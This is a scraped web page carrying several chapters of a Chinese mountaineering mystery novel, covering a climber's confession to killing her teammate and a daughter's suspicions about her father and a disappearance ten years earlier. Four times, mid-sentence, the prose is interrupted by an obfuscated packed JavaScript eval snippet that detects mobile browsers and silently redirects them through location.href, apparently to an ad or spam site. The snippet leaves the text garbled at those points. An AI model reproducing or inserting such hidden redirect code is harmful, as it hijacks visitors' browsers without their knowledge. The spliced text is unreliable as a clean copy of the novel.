“谁都可以吧。”锦里想了想,说,“如果发布者是凯特,那他就是在那之后才遭到瑞冰杀害;如果发布者是瑞冰,那她就是在杀害凯特后,用他的手机发出的那段文字,目的是为自己之后的谎言做佐证。 “我个人是比较偏向于认为两次消息都是由凯特发布的,第一是两条消息的间隔时间很短,你说你存了个图,再刷新就没有了,在这么短的时间里,瑞冰要完成杀人与发消息两件事,我觉得不太可能;第二,瑞冰是冲动杀人,我不觉得她能这么快想好为自己开脱的方法,恐怕她是在看到凯特第二次发布的消息之后,才灵机一动觉得那东西对自己有利的吧,否则她会像第一次一样,立即将它删除。” “所以,凯特第二次发布的消息,反而帮了瑞冰的大忙,他那时明明已经身亡,大家却以为他独自站在了顶峰上,他遭遇了很残忍的事,大家却在为他欢呼高兴……”如果是这样的话,那命运对凯特也太不公平了吧,花城忍不住这么想到。 锦里仿佛听到了她的心声,微微一笑: “你能将那张被秒删的图保存下来,不也是帮了凯特的大忙吗?” 花城愣了愣,几秒种后,她的脸上终于也露出了释然的笑容。 是啊,至少凯特的身体不用再被埋在冰冷的雪地之下,几年十几年都无人知晓。 16. 雀儿山杀人事件⑩ 20 将这件事报告给警方后,锦里跟花城也要留下来做笔录。 直到此时,8848登山队的其他成员才知道这件事情,夏晴天比其他人了解得更多,但在得知凯特有可能是被自己的队友杀死时,她的惊讶一点儿也不比其他人少。 顺理成章地,其他成员也要留下来。 “反正我空闲时间还很多。”游人笑眯眯地说。 “等你们做完笔录,大伙儿再一起离开吧。”摩羯鱼反正是看热闹不嫌事大。 “应该费不了几天时间。”这是一板一眼的惊蛰。 “给这件事画个句号。”夏晴天也附和道。 这时其实瑞冰几人已经离开大本营好几天了,又被出动的刑警带了回来。除去第一次见到瑞冰几人的夏晴天、游人、摩羯鱼还有惊蛰,锦里跟花城这是第三次见到他们了。谁也没有想到,两方人马的第三次碰面,竟然是在警察局里面。 不同于第一次见面的甘孜酒店大门前,大家谈话间略微带着火药味;也不同于第二次见面的一号营地帐篷里,恐惧与疑虑充斥着整个空间;这次见面,所有人的心情都很沉重,小黄鸭跟大黑鹅也许还很惊讶。 瑞冰看起来很沉默,没有惊慌失措,也没有一派云淡风轻的样子,也许她早已做好了心理准备。 她是不是早就猜到自己有一天会暴露呢?花城心想,如果是的话,那么她的猜测没有错——警方在锦里跟花城报案后的当天,就动用直升机直接空降到雀儿山的第二个大冰壁下,在那附近,他们搜寻到了凯特被掩埋起来的尸体,以及一只染了血的冰镐。 可以说,瑞冰的罪名几乎已经是板上钉钉,只等鉴定报告一出来,就可以定罪。 隔着一扇窗看到昔日的同伴,小黄鸭仍旧满心疑虑与不可置信,不停地追问:“为什么?你为什么要这么做?” 这也是花城以及其他人的心声,更让花城觉得痛心的是:“大家都是一起登山的伙伴,在雪山上不是应该互相帮助吗?到底有什么深仇大恨,让你非要对自己的队友痛下杀手?” 沉默,长久的沉默。 就在大家以为瑞冰不会回答的时候,她终于缓缓开口,将事情和盘托出。 这时花城才知道,原来其中的隐情远远超出了她的想象。 “在这支自主登山队里,我跟凯特算是认识得最早的了。那大约是五年前吧,当时我很穷,但已经很喜欢户外,没有钱买装备,我就去四处做零工。有一次,在帮一群外国登山者背装备上山时,我认识了凯特,他问我想不想去登山——不是做一个帮别人把东西运上山的背夫,而是自己去攀登一座山——我很愿意去尝试,因为我本身就很喜欢户外,我以为凯特也是跟我一样的想法。 “我们结伴去攀登了人生中第一座雪山,那是一座未登峰,我们给它取名叫玉针山,因为山的形状很陡峭,直指云霄。由于经济状况不佳,两个人没有钱去买专门的登山靴,只能穿着军用靴往上走,当时那种又冷又累、浑身酸痛的感觉,我到现在都还能清晰地回想起来,有好几次我都后悔了,中途想放弃……但在最终登顶那一刻,我发现自己已经爱上了登山,与之相比,其他任何户外运动都不再能够吸引我了,我当即决定,今后要继续去攀登更多的雪山!”说到这里,瑞冰的眼睛开始灼灼生辉。 看到这样的她,没有人会怀疑她对登山的热爱。 “没想到因为首登了玉针山,我们两个名声大噪,陆续开始有户外赞助商找上门来,请我们下次登山的时候穿戴上他们的品牌服装,以此起到一个宣传的作用,我们也因此赚到了一笔钱,之后登山就不再有经费不足的忧虑了。” 九极也有赞助商,花城想起格勒曾经说过,有名气的自主登山队会得到赞助商的支持,只是当时她并没有太过注意这一点,此时瑞冰突然提起这件事,难道她的杀人动机与此有关吗? 花城左右看了看,发现其他人也是一脸茫然。但没有人贸然提问,大家都在等着瑞冰继续往下说。 “过了一两年,小黄鸭跟大黑鹅加入了我们的自主登山队,从那时起到现在,队伍就一直维持着这样一个四人模式。” 瑞冰看了小黄鸭跟大黑鹅一眼,两人连忙点头表示赞同。 “说实话,小黄鸭的体能稍差,大黑鹅经常放慢速度陪着她,所以通常在冲顶那天,都是我跟凯特走在最前头,然后他们两个隔了一段距离跟在后面,”瑞冰停顿了一下,突然开始直视着这对情侣,“所以你们根本不知道,凯特为了虚荣跟名利,撒了多少次谎。” “什么?” “撒谎的意思是?” 因为太过惊讶,小黄鸭跟大黑鹅都下意识反问道,很明显他们对此毫不知情。 瑞冰冷冷一笑:“凯特这个人,可能是从首登玉针山从而声名大噪这件事中尝到甜头了吧,他每登一座山,为了获得更多的赞助,时常在对外宣告时将自己的登顶时间提前,起初因为我都是在他之后登顶,所以对此毫不知情,后来偶尔我会比他先登顶,自然而然就发现了他的谎言。当时我心中很失望,觉得凯特变了,不再是曾经那个一心只为攀登的年轻人了,但我仍旧没有揭穿他,毕竟我们认识这么些年,我最希望的还是他有朝一日能够幡然悔悟,做回最初的自己。 “在一次次忍受过他的谎言之后,我渐渐明白过来,其实凯特一直都是一个追名逐利的人,他当初找上我一起去登山,从来不是因为喜欢,他自己从来没有说过他喜欢登山,他一开始就是冲着出名去的,因为只有出名了,才会有赞助,有钱赚。我们从一开始的攀登理念就完全不同。” 那种失望之情似乎仍旧充斥着瑞冰的心,说到这里,她长长地叹了一口气。 “想明白这一点之后,我就动了离队的念头,本来我想立即退出队伍的,但攀登雀儿山的行程已经定下了,朋友也劝我,说登完这一次再离开吧。所以这次去登雀儿山,在我心里就是最后的一次团队活动……但我没想到的是,在攀登途中,凯特竟然当着我的面,变本加厉地编造着谎言!” 小黄鸭跟大黑鹅都听得呆住了,结伴登山好几年,他们似乎完全不晓得凯特的这一面。至于花城跟锦里,两人默契地对视了一眼,虽然没有开口交谈,但她们都在想着同一件事:果然,瑞冰当时是在一时冲动之下杀的人,而她的杀意,似乎就来源于被凯特秒删的那张“登顶照”。 “雀儿山冲顶那天,跟往常无数次攀登一样,也是我跟凯特走在最前头,凯特的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201054|165708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体能很好,但那天风雪真的太大了,他慢慢有些经受不住,速度也越来越慢,直到走到第二个大冰壁下的时候,他再也走不动了,但我感觉我还能坚持,于是经过商量,决定由我继续往上走,将路绳铺好,凯特则留在大冰壁下等我。事情进行得很顺利,我登顶后就迅速下撤,跟等在下面的凯特汇合,这时小黄鸭跟大黑鹅都还没有赶到。 “凯特突然在冰壁下摆起了pose,叫我帮他拍照,我以为他只是一时心血来潮,毕竟好不容易走到这个位置了,距离顶峰近在咫尺,想要留个纪念也可以理解。但拍过几张照片之后,凯特居然拿出早就准备好的写有‘成功登顶雀儿山6168米’字样的手拉旗,举在胸前,当时我就感觉有点不妙,但又安慰自己说他应该不至于这样……我低估了他的功利心,凯特当场就将那张照片发到了朋友圈,谎称自己已经登顶,这下子圈子里的人都知道了。 “我想他真的是被名利冲昏头了,竟然没有发现那张照片满是破绽——真正的登顶照拍出来不可能是那个样子的——我以此为理由劝他删除了照片,但其实真相是我不想再让他继续对大众撒谎了,但他还是坚持重发了一次文字宣告自己的‘成功登顶’,那个瞬间,怒气突然充斥了我的身心,我想让他闭上嘴巴!我想让他再也没法开口说话!当我回过神来的时候,我已经用手中的冰镐杀死了他。 “之后发生的事情都是源自我下意识的反应,我在附近找了个地方将凯特的尸体掩埋好——因为不在攀登路线上,所以一时半会儿不会有人发现他——几乎就在我刚刚做好这一切的时候,小黄鸭跟大黑鹅就出现了,我谎称凯特还在往上冲顶,营造出一种他还活着的假象,其实现在想来,我并不是有意想这么做的,那只能说是……一种条件反射吧。没想到两个人很轻易就相信了我,毕竟路绳已经搭好了,他们也不知道我跟凯特之间的理念冲突。 “所以当时我算是暂时蒙混过关了,但是返回一号营地后,许多山友听说了这件事,他们不停地找上门来打听消息,那个时候我就有预感,自己杀害凯特的事早晚会暴露,但我还是想着碰碰运气,所以仍旧贯彻着自己的谎言,结果呢,天下果然没有这么侥幸的事,这才短短几天时间,我就已经身处这个地方了。” 21 整个空间陷入了一片长久的寂静之中。 瑞冰没有再开口,她要说的话已经都说完了。 小黄鸭跟大黑鹅也没有说话,这一天他们受到的冲击足够多了,以至于到现在都还回不过神来。 花城沉默着,对于雪山与人性的残酷,她又有了一份新的认知。 至于锦里呢?她回想起十年前发生在慕峰上的失踪事件,当时他们也撒谎了,不顾下落不明的队友木格,队长对外宣称他们“全员成功登顶”,没有一个队员对此有异议。 除了木格的失踪方式外,为什么队长要说谎,为什么其他人要跟着附和?锦里曾经得到过答案,所以这么多年来,她从来没有想过另一种可能:或许他们只是很简单的想要追名逐利,或许事件背后根本没有什么不可说的隐情…… 直到此刻,锦里开始动摇了。 为了名利,会是这样的吗?那为什么木格又会以那么离奇的方式失踪呢? 17. 木格的最终留言① 1 “如果你不告诉我,我就去问别人!” 时间倒回到十年前。 面对刨根问底想得到一个答案的女儿,老徐叹了口气,说:“这件事真的没有什么所谓的隐情,如果你不相信,那你去找其他人,问问他们怎么说,我相信他们的答案也跟我是一样的。” “我当然要问!” 不肯轻易放弃的锦里又打算去找强子,他们都住在同一个城市,结伴登山这么多年,彼此之间已经很熟悉了,对于锦里来说,强子就像她的叔叔一样。 锦里还记得,木格失踪那个晚上,跟他住在同一个帐篷的人,就是强子。 所以锦里想到就做,在单方面对着父亲老徐发了一通火之后,她直接冲到了强子家,当时她的心中只有一个念头:想要知道事情的真相。 结果没想到,因为没有提前约好,她扑了个空,强子并不在家。他的老婆热情地招呼锦里坐下,还端来一堆零食招待她:“看会儿电视吧,很快你强子叔叔就回来了。” 锦里点点头,突然,一个问题在她脑海中闪过。 “等等!” “怎么了?” “阿姨,我想问下,最近强子叔有没有什么登山的计划?我们可以再一起去呀。” “没有吧……他好像说,最近一段时间都不会再登山了。” 果然是这样。 对于锦里来说,这个答案既出乎意料又早有预感。为什么这么说?因为老徐也是这样,在一段时间内放弃了自己的登山计划。 为什么他们两个会不约而同的这么做?还有其他队员,是不是也跟他们做出了同样的选择?如果真是这样的话,简直就像,就象是他们瞒着锦里在私下里达成了什么共识一样。 这个共识……会跟木格的失踪有关吗?瞒着锦里的原因,是她年纪还太小吗? 难怪老徐信誓旦旦地表示“他们的答案也跟我是一样的”,其实是因为他们早已统一好口径吧。可是越是这样,锦里就越是坚信木格的失踪另有隐情。 强子回来后,锦里没有再追问他登山计划的事,她知道自己很难得到更多的解答。但另一个问题,她无论如何都想知道。 “强子叔,那天晚上你跟木格住在同一个帐篷,你真的什么发现都没有吗?” 话音落地,锦里看到强子的脸色以肉眼可见的速度变白了。 “你怎么,怎么会突然问起这个?” 他的惊慌失措也很明显,不知是因为突然提到失踪已久的木格,还是因为那晚他真的察觉到了什么内情。 可疑,实在是太可疑了。 “只是突然想到了,强子叔,你就告诉我吧!”锦里勉强自己笑着说道,但她的语气却愈发咄咄逼人,“你跟爸爸就像约好了一样,什么都不跟我说,该不会真的是在瞒着我什么事吧?” “没这回事,锦里,你想多了。”强子一口否定后,咬咬牙从房间里取出了一只信封,递到锦里面前。 “这是什么?” “你不是想知道木格失踪的真相吗?这个问题我没办法回答你,但是那天队长之所以做出停止搜寻他的决定,以及我们毫无异议就服从了这个指令的原因,都在这里了。” 锦里打开信封,从里面掉出来一张四个边都破破烂烂的纸条,看起来象是从某个笔记本上随意撕扯下来的。 “这是我们在寻找木格的时候发现的,是他写给我们的……最终留言。” 纸条上的内容很简单: 这里太陌生,也太冷了,坚持着走了这么久,意识开始渐渐模糊,我想我快死了。 从登山的第一天起,我早已做好也许某天会葬身雪山的心理准备,我亲爱的队友们,如果你们有幸看到这张纸条,请不要再继续找寻我,不要再浪费时间,我最想看到的,就是大家能够顺利登上顶峰,连带我的份一起。 让我再一次看到,全员成功登顶的盛景吧。 现在,我要尝试着在这个陌生的地方继续前行了,看看我最终会走向何方。 2 泪水在不知不觉间湿润了眼眶,锦里缓缓从回忆中醒来。 那天的情景,直到现在她还能清晰地回想起来。 锦里记得,当她看完纸条,因为太过震惊,她半晌说不出一句话来。她竭尽全力去理解纸条上的内容,终于不得不承认,在发觉自己陷入迷途之后,是木格主动要求大家停止搜寻他的,他说他的梦想是看到所有人顺利登顶……所以当队长看到那张纸条后,才会下达那样的指令吗?所以其他人才会遵从队长的意思?因为他们都看过上面的内容,所以实际上,他们是在遵从木格的意思。 至于木格呢,留下这样一张纸条后,他就又继续前行了,向着没有方向的前方。那个时候的他只是在碰运气,也许能够走着走着就返回营地,也许反而越走越远,就这样消失于世间…… 事实上,最终没有人知道他走到了什么地方。 十年了。 当时,知道了当时大家如此“冷漠”的原因,知道了木格的消失有他自己主观的因素,但锦里仍旧无法释然,她还是最想知道,为什么只是打算出去上个厕所的木格最终会走上迷途、无法返回营地?为什么营地周围四处找不到木格的脚印、导致大家无法确定搜寻方向?到底造成他迷路的原因,是不是人为的? 这件事的谜团实在太多了,而锦里无论如何都想知道真相。 所以她才会选择加入一支全新的登山队伍,试图在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201055|165708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 攀登途中,找出曾经被自己忽视的点滴线索。 她不是一无所获。 经过了瑞冰杀害凯特的事件,现在,锦里开始怀疑强子给她看的那张纸条的真实性,那真是木格留下的纸条吗? 真奇怪,此前锦里从来没有这样怀疑过,但是现在,她忍不住开始假设:如果木格的失踪是人为的,那张纸条也很有可能是害他的人刻意留下的,不是吗? 疑心一旦滋生,就会开始慢慢膨胀生长。 锦里忍不住又想到:如果纸条是伪造的,其他人知不知道这件事?到底这只是害了木格的人为掩盖罪行所编造的障眼法、其他人都对此毫不知情……还是这其实是其他人联合起来撒的一个谎、只有她自己一人被骗? 如果是后者,那就意味着,她的父亲老徐、叔叔强子以及其他队友,都是在撒谎骗她?他们不想让她对这件事再继续追究下去,所以联手制造了那张纸条? 纸条确实起到了作用,因为在此之后的十年间,虽然锦里心中仍有疑惑,但她忍住了没有再去追问,直到十年后,她拥有了亲身去探寻真相的时间和精力,被尘封的往事才渐渐又浮出水面…… 想到这里,锦里突然又回忆起一件事来。 那是在她准备重新去登山的时候,老徐偶然间得知了此事,他极力反对:“你已经十年没登山了,现在突然想加入一支新队伍,一切都要重头开始,有什么意思?” 当时面对老徐激动的态度,锦里没有多想,只以为父亲是担心自己,二十五岁的她比起十年前成熟了许多,不再那么思想极端又行为冲动了,她耐着性子解释了自己的想法跟打算:“我还是想知道当年木格身上究竟发生了什么事。他发现自己迷路之后,为了不影响队伍的攀登进程,主动要求大家放弃寻找他,这些我都能理解,但是你们难道不觉得奇怪吗?为什么木格会迷失方向、走到陌生的地方去?他原本出去帐篷只是想上个厕所,按理说应该不会走远的。 “我左思右想,想了十年,还是没有想明白。所以我觉得,如果我再去登一次雪山,说不定就会有答案了。” 难得坦白出自己真心话的锦里,原以为会获得父亲的谅解,但老徐却仍旧只是一味反对:“每年雪山上迷路失踪的人有多少,根本数都数不过来,在高海拔,一旦脑子迷糊,行差踏错一步,可能就再也回不到正轨了,这一点你不是也很清楚吗?对于木格的失踪,我们都很难过,但这件事哪有什么奇怪的地方,你就是想得太多了,才十年都没能放下。” 锦里被这番话说得哑口无言,但她仍默默坚持了自己的计划。 现在想来,老徐极力反对她重登雪山的态度,也透着那么一丝丝古怪。 就象是在拼命隐藏着些什么似的。 18. 木格的最终留言② 3 古怪的事还不止这一点。 锦里将自己加入8848登山队以来所经历的事仔细回顾了一遍,发现冥冥之中似乎有什么东西在牵引着她。 是什么呢? 她一开始加入队伍的方式,似乎就透着古怪。 锦里还记得,当时队伍第一次碰面的地点选在咖啡厅,全员到齐后,每个人轮流做自我介绍,通过那些介绍,锦里知道了队伍的发起人是夏晴天跟游人,他们两个组建了一个名叫“8848登山队”的群,还四处发布信息做宣传,而其他人都是在网上搜索看到那些信息后加入进去的。 只有锦里不一样,她是通过朋友圈入的群。 夏晴天的朋友在朋友圈帮她做宣传,这个消息几经辗转,从锦里的一个多年前认识的山友的手机中发出,所以她才能看见。 当时锦里没有意识到,现在想来却觉得奇怪:那个山友一定也认识老徐,因为那是很多年前老徐带着她去登山的时候认识的人,那么老徐一定也看到了“8848登山队”招人的消息,一直反对她重登雪山的老徐,对于这条消息却不闻不问,一点也没有加以阻止,实在是不合情理。 而且锦里突然发现,不知从什么时候起,老徐不再那么强烈地反对她登山了……是从什么时候开始的呢? 上次登完二峰回来,老徐倒是有劝她放弃,但他当时的语气并不像一开始那么激烈,只是说雪山上发生意外很常见,叫她不要再拘泥于过去。锦里不听劝,他也没有再多说什么。 为什么老徐前后的态度反差这么大?一开始他极力反对她重登雪山,后来却不再大加阻拦。从这十年的情形来看,老徐再也没有登过山,锦里觉得他其实一直是反对她登山的,后来的态度大变,也许……只是因为他换了一种方式去反对。 锦里在8848登山队遭遇的那些事件,也许并不是巧合。 而是老徐的巧妙安排,为的就是让她看清雪山之上鲜血随处可见,从而放弃追寻木格失踪的原委。 现在仔细想想,夏梦受伤和凯特被杀事件,都不是偶然出现在锦里面前的。 首先是夏梦受伤这件事,锦里之所以会知道,是因为8848登山队的创建者夏晴天跟夏梦是好朋友,而夏晴天之所以会想要去尝试登山,是因为她觉得夏梦受伤的事件背后另有隐情,她想知道事情的真相,偏偏夏梦不肯告诉她,还说“因为你不登山,所以你不懂”,当时夏梦的队友也在旁边帮腔说“你去登一次山就知道了”,受此激将和怂恿,夏晴天才动了登山的念头。 姑且不论夏梦跟老徐是否相识、两人是否提前串通好要引诱夏晴天组建登山队(这样的推测太过离谱,就算他们彼此认识,但夏梦的受伤是个偶然,她应该也不会故意设局欺骗自己的好朋友),不过,夏晴天在病房里碰到的那位夏梦的队友,他所说的那些话,会不会是老徐授意的呢? 这样的情况不是不可能发生。 或者…… 锦里突然想到了一种可能性,这个想法很疯狂,但是很好求证,她迫不及待就想要知道答案。 现在夏晴天就在她的旁边,锦里从自己的手机里翻出一张老徐的照片,递给她看了。 夏晴天很惊讶地问道:“这是谁,我怎么觉得好像有点眼熟?” 锦里感觉自己的心脏开始疯狂地跳动起来,她握着手机的手都被汗水濡湿了。 “这人你是不是当初在夏梦的病房见到过?” 夏晴天想了想,恍然大悟道:“真的!我想起来了,原来是他!你怎么会知道?” 锦里没有回答,转而问道:“他应该不是夏梦的队友吧?” 夏晴天摇摇头:“我不知道,我去探病时正好看到他在,我以为他是夏梦的队友,但现在你这么一问,我又觉得有可能不是了,也许他们两个之前就认识。” 她停顿了一下,又问:“怎么了?你也认识这个人吗?” 果然如此。 锦里已经无暇去回复夏晴天的追问,她满脑子只有这四个字。 老徐并没有跟着夏梦一起去登慕峰,他已经十年不曾登山了。但是他跟夏梦早就认识,怂恿夏晴天组建登山队的人,就是老徐本人。 从一开始,锦里就已落入老徐所布置好的圈套之中:老徐偶然听说了夏梦在雪山上受伤的事,他认识夏梦,所以去病房探望她,偏巧那天夏晴天也去了,从夏晴天跟夏梦两人的对话中,老徐得知夏晴天从未登过山,夏梦又坚决不肯说出自己受伤的原因。那一瞬间,老徐从中看到了此事的利用价值,于是他开口帮腔道“你去登一次山就知道了”。 后来夏晴天果真如他所愿地组建了一支登山队,四处寻找队员加入,老徐又让自己的朋友在朋友圈帮忙转发宣传,目的就是为了让锦里看到这条消息,他知道锦里正在计划加入一支全新的登山队,他肯定是想着,既然不能阻止她,那就由他自己来安排这件事。 夏晴天登山是为了找出夏梦受伤的真相,锦里如果加入到她的队伍,势必会跟这件事扯上关系,老徐就是想让她知道,登山很危险,发生事故是很常见的事情。 其实她早就知道这件事了,可是木格的失踪跟其他事件都不一样,老徐、强子、队长以及其他队友的反应也是那么的反常,这才是锦里耿耿于怀十年不能忘记的缘故。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201056|165708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 4 夏梦的事没能阻止锦里将登山继续进行下去,但锦里知道老徐并没有放弃。 她跟花城会认识凯特一行人,并不是偶然,凯特知道她就是徐木青的女儿,这就是最好的证明。 的确,曾经老徐在登山圈子中很有名气,有很多人都知道他有个女儿,甚至他常常带着自己的女儿一起去登山,这大家也都是知道的,由于那些被公布出去的登顶照片,有人知道锦里的长相似乎并不是什么怪事。 但要知道,自从发生木格那件事之后,老徐跟锦里已经有十年不曾去登山了,这十年间,锦里从十五岁成长为二十五岁,都说女大十八变,为什么凯特还能在见到她的第一眼就觉得她很眼熟呢? 锦里无法认为这是偶然。 接下来虽然全部都是锦里的推测,但她认为有一定的道理: 老徐一定认识凯特那支登山队——他只是不再登山,但这十年间,他应该还保留着跟这个圈子的联系与关注吧。所以,就像对待夏梦那件事一样,他偶然得知了瑞冰跟凯特之间的矛盾,决定将这支队伍推到锦里面前,让锦里见识到队伍之间不和谐的一面,让她明白,重返雪山除了看到这些,并不能收获其他更多的东西。 凯特一定在最近跟老徐碰过面,也许是在老徐家里,他见过锦里的近照,所以在酒店门前才能一下子认出她来。 这一定也在老徐的计算之中,否则,如果凯特没有认出锦里,他们之间就不会有那番谈话,锦里也就不会关注到那支队伍,她也就不会知道瑞冰跟凯特之间的矛盾了。 但是老徐肯定没有想到,这场矛盾最终会激化为凯特被杀这个结果,毕竟一开始瑞冰的打算是登完雀儿山之后就退出队伍。 凯特变本加厉、伪造登顶照片的举动,激怒了瑞冰,才造成了最终这个结果。 最近两次登山所遭遇的事件都不是偶然,锦里终于想明白了这一点。 老徐一直在扮演一个幕后推手的角色,但是锦里已经不想去追问他原因了,她心里很清楚,老徐是不会承认的,他会像过去无数次那样,将事情搪塞过去。越是这样,她就越是肯定:这一切一定跟十年前木格失踪的事有关,而老徐知道事情的真相。 那个真相肯定不那么美妙,所以他才死活都不肯告诉锦里。 既然如此…… 锦里决定了,她要装作什么都不知道的样子,不去追问老徐,也不跟他纠缠过去的事。她相信,只要继续自己的登山计划,老徐一定会按捺不住有所行动的,到时她只需要守株待兔就好。 一定可以找出事情的真相。 她感觉自己在慢慢接近了。 19. 替身死者① 1 “什么?去登珠穆朗玛峰?” 一句话激起千层浪,所有人都用不可置信的眼神看着锦里,仿佛不敢相信这句话是从她的嘴巴里说出来的。 看望过瑞冰、听她交代完自己的杀人动机之后,8848登山小队就决定各自回家了,看起来这次的事件对他们的登山热情并没有造成丝毫的影响,因为在临近分别前,大家就开始讨论起下一座要去攀登的目标山峰。 说是讨论,但其实所有人的目光都集中在锦里身上,等着她做决定。 不,也不是所有人,看来这次事件唯独对花城造成了很大的影响,这也难怪,毕竟她从头到尾都很关注这件事。所以真相大白之后,她的心情格外低落,在收拾行李的途中就发起呆来了,自然也就没有参与进这个话题的讨论中。 但其他人却热情高涨,开始盘算起下一个目的地。 锦里提议去登珠峰,于是就有了之前那阵惊呼声。 “今年是来不及了,但明年五月份,我觉得我们可以出发去珠穆朗玛峰。”锦里又补充了一句。 所有人都惊呆了。 “不是,我没听错吧?珠穆朗玛峰不是世界最高峰吗?我记得它的海拔跟我们小队的名字一样,8848米,这也太高了点吧……”摩羯鱼拍了拍自己的脑袋。 惊蛰直接问道:“我们现在就可以去登这么高的山吗?” “我以为这应该是我们的终极目标。”夏晴天也补充了一句。 “不,你们误会了,”锦里解释道,“我并不是让大家明年就去登顶8848米,那是不可能的。但如果你们有关注业内新闻的话,就会知道,今年五月,珠穆朗玛峰爆发了一场不小的地震,当时正值珠峰的攀登季,许多攀登者因此受了伤,今年的攀登活动也被迫终止。尼泊尔政府对于珠峰的商业运作已经十分成熟,既然今年损失了一笔不小的收入,他们就策划了一个新的活动,计划在明年推出。” “什么活动?” “主题是:让普通人也能够去体验珠峰攀登的过程。”见大家都一脸茫然地看着她,锦里又详细解释道,“大家应该都知道,攀登一次珠峰需要耗费大量的人力、物力跟财力,比如说,如果一个人要去登珠峰,他必须投入至少二三十万的资金,用于支付他的登山许可费、装备费用、向导费用等等,而且他本人还必须在此之前去攀登过其他八千米级别的山峰,这是为了他自己的安全考虑,否则毫无八千米山峰的攀登经验就贸然去登珠峰,恐怕会有生命危险。” 锦里停顿片刻,等到所有人都点头表示明白之后,才继续往下说去: “所以,原本尼泊尔那边对于前去申请登山许可的攀登者,都会有很高的审核标准,但由于今年的地震,他们为了弥补损失,就放宽了明年的珠峰攀登要求,像我们8848登山队这种只攀登过六千米级山峰的队伍,也可以去到珠峰大本营,感受一下那里的登山氛围,而且我们甚至可以去到珠峰的一号营地、二号营地,但再往上就不行了,相应地,我们需要支付的费用也更少。不管怎么说,机会难得,错过这次就不知道下次能去又是在多少年以后了,所以我才提议明年大家一起去珠峰。” 直到此刻,大家才明白锦里的良苦用心。 所以,结果当然不必再猜,这个提议得到了队员们的全票通过。 明年,他们就要去到世界最高峰了! “但在此之前,我建议大家先报名参加今年冬季的攀冰活动,磨练一下攀登技巧。”锦里又提议道。 所谓攀冰,就像攀岩一样,只不过地点换到了冰壁上,这是一项专为练习攀登技巧而诞生的运动。因为在攀登雪山时,时常会遇到陡峭的大雪坡,需要凭借装备和个人技巧翻越过去,如果是毫无经验的新手,翻越起来会很困难,甚至有可能失败,成为不能顺利登顶的原因之一。 攀冰这项运动,正是为磨炼攀登者的登山技巧而存在。 之前攀登二峰和雀儿山,锦里没有提议让大家事先练习攀冰,一来是因为时机不合适——冰壁只有十二月和一月才存在;二来二峰还用不到这样的技巧,雀儿山倒是对攀登者的技术有些要求,但新手也有可能成功登顶,就算不成功,顶多只是留下遗憾,下次再来就是了。 但这次队伍要去珠穆朗玛峰。 珠峰跟其他山峰不一样,不仅攀登难度高,还很危险,即使他们只是去短暂地体验一下,也不应该掉以轻心。 在锦里做出如上解释之后,自然所有人都同意了这个提议。 回到自己位于成都的出租屋后,锦里按照之前的惯例,帮队伍报名预定了为期五天的攀冰活动,时间是十二月底,那时大家都能想办法抽空出来,之前他们曾经对过时间。之后她就开始查阅各种资料,为接下来的珠峰之行做准备。 也许是忙过头了吧,锦里竟然忘记将具体的攀冰日期告诉大家,直到临近十二月底,陆续有队员在群里问起,她才想起这件事。 将活动信息公布到群里之后,锦里就将其抛到了脑后,她只以为这是个小插曲,直到后来她才意识到,这就是解开木格失踪之谜的关键所在。 2 五天的攀冰活动过去得很快:第一天大家在成都的双桥沟碰面,认识、学习各种装备知识,其中某些知识他们已在攀登雀儿山的时候学习过。之后的四天,面对一整面瀑布形成的冰壁,他们开始在老师在指导下进行实地操作,每一天都比前一天做得更好,攀登得更高。 这是跟登山完全不同的体验。 登山时,队伍的目标是前进,只要能登顶,过程再狼狈也无所谓。但是攀冰时,就需要一遍又一遍地磨炼自己的技巧,每一次操作的不当之处,都要在下一次多加注意,纠正过来。 虽然这五天的日程安排都相同,但因为专注于学习,大家都过得很充实,没有无聊与分心的时刻。 所以直到活动结束,锦里才意识到,似乎有什么地方不太对劲。 哪里不对劲呢? 问题似乎不是出在活动过程中,不如说,这次活动很难得,一帆风顺地进行了下来,没有发生任何争执事件,无论是团队内部之间,还是恰巧与他们参加同一期攀冰活动的其他队伍之间。当然,更没有发生流血与伤亡事件。 一切很顺畅就结束了。 而这……正是锦里觉得奇怪的地方。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 